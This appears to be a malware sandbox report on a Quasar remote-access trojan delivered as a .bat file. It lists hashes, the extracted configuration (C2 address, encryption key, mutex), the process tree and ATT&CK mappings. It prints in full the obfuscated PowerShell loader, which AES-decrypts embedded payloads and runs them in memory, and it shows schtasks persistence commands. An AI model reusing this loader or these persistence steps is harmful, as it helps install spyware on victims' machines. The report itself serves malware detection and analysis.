quasar | e4f5178dbb9b0219959eacd99064373966d03f1489a10e20e1dd4431fb786bf7

General

Target

Client-built.bat
Size

3.1MB
MD5

f84f053137001261cce9e31776b01e01
SHA1

630a80e3a213dff1d4659ba2fac138f2ece9366d
SHA256

e4f5178dbb9b0219959eacd99064373966d03f1489a10e20e1dd4431fb786bf7
SHA512

47df65e8b5ac921bc9f53345374cf88b75fc1afc6804af79f1650c90f0b669376d177d61f273612ae7bdb11ac9aa55db70c4050fe79454d460269643601c2438
SSDEEP

49152:62oqWZ7Vz0ECjGkh9OIrmu3+1NqCWrvE1pG:6+

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

192.168.1.190:4782

Mutex

89963d93-8cbc-464c-9bab-6a9816182fbd

Attributes

encryption_key
3C24DE579D826EDD5888A84E88B1691CD81FA44B
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
behavioral1/memory/3124-14-0x000002367DDF0000-0x000002367E23E000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\Client-built.exe	family_quasar
behavioral1/memory/3124-24-0x000002367E2E0000-0x000002367E604000-memory.dmp	family_quasar
behavioral1/memory/4860-29-0x00000000002A0000-0x00000000005C4000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3124 powershell.exe
Executes dropped EXE 3 IoCs

Processes:

Client-built.exeClient.exeClient.exe

pid process

4860 Client-built.exe
2368 Client.exe
2404 Client.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

5008 schtasks.exe
436 schtasks.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exeClient.exeClient.exe

pid process

3124 powershell.exe
3124 powershell.exe
2404 Client.exe
2368 Client.exe
2404 Client.exe
2368 Client.exe

pid	process
3124	powershell.exe

pid	process
4860	Client-built.exe
2368	Client.exe
2404	Client.exe

pid	process
5008	schtasks.exe
436	schtasks.exe

pid	process
3124	powershell.exe
3124	powershell.exe
2404	Client.exe
2368	Client.exe
2404	Client.exe
2368	Client.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exeClient-built.exeClient.exeClient.exe

description	pid	process
Token: SeDebugPrivilege	3124	powershell.exe
Token: SeDebugPrivilege	4860	Client-built.exe
Token: SeDebugPrivilege	2404	Client.exe
Token: SeDebugPrivilege	2368	Client.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.exeClient-built.exe

description	pid	process	target process
PID 2184 wrote to memory of 3124	2184	cmd.exe	powershell.exe
PID 2184 wrote to memory of 3124	2184	cmd.exe	powershell.exe
PID 3124 wrote to memory of 4860	3124	powershell.exe	Client-built.exe
PID 3124 wrote to memory of 4860	3124	powershell.exe	Client-built.exe
PID 4860 wrote to memory of 5008	4860	Client-built.exe	schtasks.exe
PID 4860 wrote to memory of 5008	4860	Client-built.exe	schtasks.exe
PID 3124 wrote to memory of 436	3124	powershell.exe	schtasks.exe
PID 3124 wrote to memory of 436	3124	powershell.exe	schtasks.exe
PID 4860 wrote to memory of 2368	4860	Client-built.exe	Client.exe
PID 4860 wrote to memory of 2368	4860	Client-built.exe	Client.exe
PID 3124 wrote to memory of 2404	3124	powershell.exe	Client.exe
PID 3124 wrote to memory of 2404	3124	powershell.exe	Client.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2184

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bScGQN9wVTXjALsxGUQ2VeN/1Tic+xkzldSHB93aFOc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pE3Ow91lg5J2+8gZG7xKaQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $PJDsL=New-Object System.IO.MemoryStream(,$param_var); $mANlg=New-Object System.IO.MemoryStream; $oKWPX=New-Object System.IO.Compression.GZipStream($PJDsL, [IO.Compression.CompressionMode]::Decompress); $oKWPX.CopyTo($mANlg); $oKWPX.Dispose(); $PJDsL.Dispose(); $mANlg.Dispose(); $mANlg.ToArray();}function execute_function($param_var,$param2_var){ $mEgPu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $LmDBe=$mEgPu.EntryPoint; $LmDBe.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$tvLyX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($LNPzg in $tvLyX) { if ($LNPzg.StartsWith(':: ')) { $jRwSa=$LNPzg.Substring(3); break; }}$payloads_var=[string[]]$jRwSa.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3124

C:\Users\Admin\AppData\Local\Temp\Client-built.exe
"C:\Users\Admin\AppData\Local\Temp\Client-built.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4860

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:5008

C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2368

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:436

C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
"C:\Users\Admin\AppData\Roaming\SubDir\Client.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2404

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
62KB

MD5
e566632d8956997225be604d026c9b39

SHA1
94a9aade75fffc63ed71404b630eca41d3ce130e

SHA256
b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

SHA512
f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

Download Submit
C:\Users\Admin\AppData\Local\Temp\Client-built.exe
Filesize
3.1MB

MD5
1d7898eabee6016c694c3bfdf1a4e476

SHA1
69fe4e93aa9dac194c7c5de4e23be923ecd77598

SHA256
c5b98c44b6ce95d2cb8ff10dc35b5347d0e55b4937ae4c05765d44f876dd9c21

SHA512
f9b25d86720748202630b7c7dfda858538922bddf8621955978d5017d01fd6f3ed815f67185525b1a625ab71843f87d87a1a6db76b4851841baa43374dfb5c04

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_30543zm3.wjm.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe
Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
memory/2404-58-0x0000015AE06A0000-0x0000015AE06E6000-memory.dmp

Filesize
280KB

Download
memory/3124-11-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmp

Filesize
10.8MB

Download
memory/3124-9-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmp

Filesize
10.8MB

Download
memory/3124-14-0x000002367DDF0000-0x000002367E23E000-memory.dmp

Filesize
4.3MB

Download
memory/3124-12-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmp

Filesize
10.8MB

Download
memory/3124-24-0x000002367E2E0000-0x000002367E604000-memory.dmp

Filesize
3.1MB

Download
memory/3124-63-0x00007FF9A5E33000-0x00007FF9A5E35000-memory.dmp

Filesize
8KB

Download
memory/3124-10-0x000002367D750000-0x000002367D772000-memory.dmp

Filesize
136KB

Download
memory/3124-59-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmp

Filesize
10.8MB

Download
memory/3124-0-0x00007FF9A5E33000-0x00007FF9A5E35000-memory.dmp

Filesize
8KB

Download
memory/3124-13-0x000002367D640000-0x000002367D648000-memory.dmp

Filesize
32KB

Download
memory/4860-41-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmp

Filesize
10.8MB

Download
memory/4860-30-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmp

Filesize
10.8MB

Download
memory/4860-29-0x00000000002A0000-0x00000000005C4000-memory.dmp

Filesize
3.1MB

Download
memory/4860-28-0x00007FF9A5E30000-0x00007FF9A68F2000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads